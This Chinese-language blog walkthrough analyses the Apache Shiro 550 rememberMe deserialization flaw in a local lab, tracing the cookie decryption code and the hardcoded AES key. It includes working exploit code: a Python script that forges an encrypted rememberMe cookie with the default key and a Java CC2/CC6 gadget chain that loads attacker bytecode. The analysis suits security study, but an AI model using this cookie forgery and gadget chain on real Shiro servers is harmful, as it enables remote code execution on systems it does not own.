Shiro反序列化漏洞-Shiro550

前言

Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。

加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

环境搭建

github下载

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

image-20250516195227423

然后编辑shiro\samples\web的pom.xml中的pom.xml文件:

1
2
3
4
5
6
7
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

然后用idea导入此mvn项目:

image-20250516195911969

等待idea自动下载导入项目依赖的包

接着设置run/debug configurations, 添加本地tomcat环境(需要提前下载tomcat包)

image-20250516200030329

image-20250516202406059

然后到Deployment,选择添加,然后选择shiro的war包所在位置

image-20250516201709208

设置一个端口,放置被占用

image-20250516201156713

JDK的版本本地默认用的是环境变量的,这里设置一下为JDK8

image-20250516201730299

之后debugging运行,稍等一会就好了

image-20250516202631658

漏洞分析

image-20250516202739212

勾选相应的remeber me抓包会有相应的Cookie出现

image-20250516203124670

可以发现这个Cookie RememberMe在后面登录中带有这个会自动进行登录,而且这个很长,想要搞清楚他是怎么加密的

漏洞产生点在CookieRememberMeManager该位置,来看到rememberSerializedIdentity方法。

按两下shift搜索Cookie相关的

image-20250516203428395

来到CookieRememberMeManager,看到getRememberedSerializedIdentity方法,他里面调用到了base64

image-20250516203727201

image-20250516203848544

看到这里写了base64,往上找getRememberedSerializedIdentity

来到AbstractRememberMeManager

image-20250516204440343

这一段主要是从rememberme中读取数据,然后调用 convertBytesToPrincipals 方法将其反序列化为身份对象,如果获取失败就null或者清除Cookie,最后返回成功获取的身份信息或 null。

这一套下来很明显就是要看convertBytesToPrincipals怎么处理的了

image-20250516204949226

image-20250516205625487

调用了getCipherService(),获取解密结果,继续看decrypt

image-20250516210117506

看到这里,密文和key,大概率是个对称加密

image-20250516210234956

image-20250516210252768

要的参数就密文和key,从这里解密函数的写法可以看出这明显是一个对称加密了,使用的是相同的秘钥进行加解密,大概率是AES-CBC

我们要怎么拿到这个key呢

我们回到AbstractRememberMeManager

image-20250516210434732

image-20250516210453801

发现这个key是个常量

image-20250516210515350

是这个函数设置了key

image-20250516210609783

跟到setCipherKey

image-20250516210637597

最终到

image-20250516210709323

很明显这是一个确定的值

image-20250516210827841

前面这是看了解密的流程,我们再来看看加密的流程

前面分析解密的时候,调用了AbstractRememberMeManager.encrypt进行加密,该类中也有对应的加密操作。

回到AbstractRememberMeManager.encrypt

image-20250517124202904

这里调用了cipherService.encrypt且传入序列化数据,和getEncryptionCipherKey方法。

跟进getEncryptionCipherKey看看怎么获取加密密钥的

image-20250517124445540

image-20250517124602634

这里跟前面一样了对上了,一个是encryptionCipherKey一个是decryptionCipherKey,对称的,定义死了的

返回刚刚的加密的地方image-20250517124908320

image-20250517125006897

对照着解密看的话就清晰多了,恰好反过来

漏洞探测

一套流程下来就是摸清了shiro的rememberme的加解密流程(AES),就是对rememberme进行反序列化,那我们用urldns链验证一下试试

AES脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys
import base64
import uuid
from Crypto.Cipher import AES

def get_file_data(filename):
with open(filename, 'rb') as f:
return f.read()

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()

key = "kPH+bIxk5D2deZiIxcaaaA==" # base64 编码的密钥(16字节)
iv = uuid.uuid4().bytes # 随机生成 IV
mode = AES.MODE_CBC
encryptor = AES.new(base64.b64decode(key), mode, iv)

ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]

key = "kPH+bIxk5D2deZiIxcaaaA=="
iv = enc_data[:16]
mode = AES.MODE_CBC
encryptor = AES.new(base64.b64decode(key), mode, iv)

plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
# 示例文件路径
filepath = 'D:/desktop/a/ser.bin'

try:
data = get_file_data(filepath)
encrypted = aes_enc(data)
print("加密结果(Base64):\n", encrypted.decode())

decrypted = aes_dec(encrypted)
print("\n解密后的数据前 64 字节:\n", decrypted[:64]) # 防止输出过大

except Exception as e:
print(f"发生错误: {e}")

image-20250516212659292

image-20250516212634120

这样只是证明了确实存在反序列化漏洞,但是我们具体要利用的话,仅仅有dns请求没啥具体危害,还是得回到cc链上面去

漏洞利用

先手工配置一下cc链依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

这里为什么加3.2.1的依赖,不加4的呢,主要是最开始yoserial里的cc链只有cc2是能打的,而cc2这条链对应的版本就是4.0,这里写3.2.1的依赖主要是看看怎么打其他链子

我们先打个cc6看看报错

image-20250517134858324

报错显示加载不到Transformer类

我们跟到最开始报错的点DefaultSerializer.java:82

image-20250517141329651

这里调用了ClassResolvingObjectInputStream的readObject方法

image-20250517142036350

这里重写了resolveClass方法

我们先看看原生的resloveClass是怎么写的

image-20250517142529044

原生的resolveClass用的是classforname,重写了的resloveClass用的确是Classutils.forName,跟进看看Classutils

image-20250517142952306

用到了自己定义的一些loadClass,进行3次类加载,定义里也有写

image-20250517143348113

正好对应了前面报错出现了3次找不到Transform,就是他无法进行加载数组类,而Transform是数组类,shiro无法加载,那我么你想让他加载恶意类,就是让他不使用数组类就好了

cc2+cc6缝合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiroCC {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));
byte codes[][]= {code};
bytecodeField.set(templates,codes);
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazydMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazydMap,templates);

HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazydMap.remove(templates);


Class c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazydMap,newTransformer);

serialize(map2);
// unserialize("ser.bin");
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

image-20250517145053879